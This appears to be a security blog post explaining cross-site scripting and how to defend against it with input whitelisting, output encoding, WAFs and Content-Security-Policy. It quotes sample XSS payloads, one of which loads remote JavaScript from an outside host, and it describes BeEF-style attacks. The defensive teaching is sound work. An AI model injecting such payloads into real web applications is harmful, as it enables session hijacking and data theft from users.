Across That Site Yonder

Cross-Site Scripting, sometimes referred to as XSS, is really JavaScript injection at its heart, meaning an attacker is able to inject JavaScript into an application in a manner that will cause the victim’s browser to execute the injected code.  This can be a simple string such as “<svg onload=alert(0)>”, which will cause an alert box popup containing the message “0”.  You may have seen something similar if you ever received this as a finding in a pentest, as it’s a simple and easy to notice proof of concept.

In a real attack scenario, an attacker usually wants to do something more complex, and this is where JavaScript Injection gets its name as Cross-Site Scripting.  A string such as “<script src=http://xss.rocks/xss.js></script>” will cause the victim’s browser to request and load the JavaScript included in the xss.js file hosted on xss.rocks, which can contain far more code than would fit into your average HTML input field.  So now the vulnerable application has loaded and will execute an entire file worth of JavaScript, hosted on another site.  A cross-site, if you will.

BeEF, It’s What’s Taking Pictures of You Through Your Laptop Webcam

If you’re interested in what’s easily available and prepackaged for an attacker to throw at your users, look no further than BeEF, or the Browser Exploitation Framework.  This tool contains a variety of tricks and attacks from prompting users to enter their login information, redirecting users to malicious sites, and even accessing the victim’s webcam to send pictures back to the attacker.  Admittedly that last example is more of a novelty than something an attacker really cares about, but it goes to show how diverse and flexible JavaScript can be.  Even JavaScript implementations of bitcoin miners have been popping up across the web, taking advantage of unsuspecting users’ CPU and sending bitcoins back to the controller.

Attacks developed specific for the application can perform even more insidious actions.  Anything the victim can do, so can the injected JavaScript – create users, change email addresses, log the user’s keystrokes, or access data, which would then get sent back to a server the attacker controls.  Without an alert box to popup, the victim will likely not even know they were compromised.  In the case of Stored Cross-Site Scripting attacks, the user will fall victim every time they access the injected web page.

Enter The Matrix

Similar to the woman in the red dress, every website is really just a fancy combination of text and angle brackets.  That dropdown menu the top of the screen?  Text.  These words your reading now?  You guessed it.  If you’ve never peered into the madness, you can right click on this page and select “View Source”.  Your browser transforms that mess into the neat columns and formatting and menu options you see before you.

Anywhere a user can input data into your application, be it choosing a username or entering their address, there is the potential to inject JavaScript.  When your server returns a list of addresses, and someone happens to live at <svg onload=alert(0)> street, the browser will happily interpret that as an instruction and execute the JavaScript code.  Good browser.

Only You Can Encode Output

Injection has topped the OWASP Top 10 since its inception, the latest of which can be found here.  The name Cross-Site Scripting was coined back in 2000 and has continued to be one of the most prevalent vulnerabilities plaguing web applications.

Done right, input sanitation is the best defense against Cross-Site Scripting attacks.  Don’t ever trust your users.  Treat every input they send to your server as if it carries the plague.  Use character whitelists where possible and don’t allow angle brackets (<, >) unless absolutely necessary.  OWASP’s XSS Prevention Cheat Sheet can be found here.

While it doesn’t prevent all attacks, HTML Entity Encoding can make it much harder for an attacker to inject code into your application.

Many web application frameworks also include protections against Cross-Site Scripting attacks.  If it makes sense for your application, consider using these features, which have likely already been tested and iterated upon.

Web Application Firewalls, or WAFs, have also become more prevalent.  These act to block malicious strings sent by the user before they ever reach your servers.  WAFs are typically signature based, however, and need to be maintained and updated to be effective.  And as like antivirus, no signature list is infallible, and determined attackers can create strings to bypass detection rules.  OWASP also provides a Filter Evasion Cheat Sheet.

A number of HTTP headers also provide additional protection from XSS attacks.  The Content-Security-Policy header, for example, can provide a whitelist for what domains the browser should be allowed to load scripts from, and with out the Cross-Site part of Cross-Site Scripting, attacks become much harder to realistically pull off.

Like everything in security, never rely on a single technique or technology where possible.  Whitelisting characters and encoding output and using HTTP headers are a far stronger solution than any one alone.  New attack techniques and vulnerabilities are always coming to light.  Well architected security shouldn’t expose your application to a single point of failure.

Share this page on social media:
Share on Twitter
Share on Facebook
Share on LinkedIn
Share on Google Plus
Share on Pinterest
Share on Email

Leave a Reply

Your email address will not be published. Required fields are marked *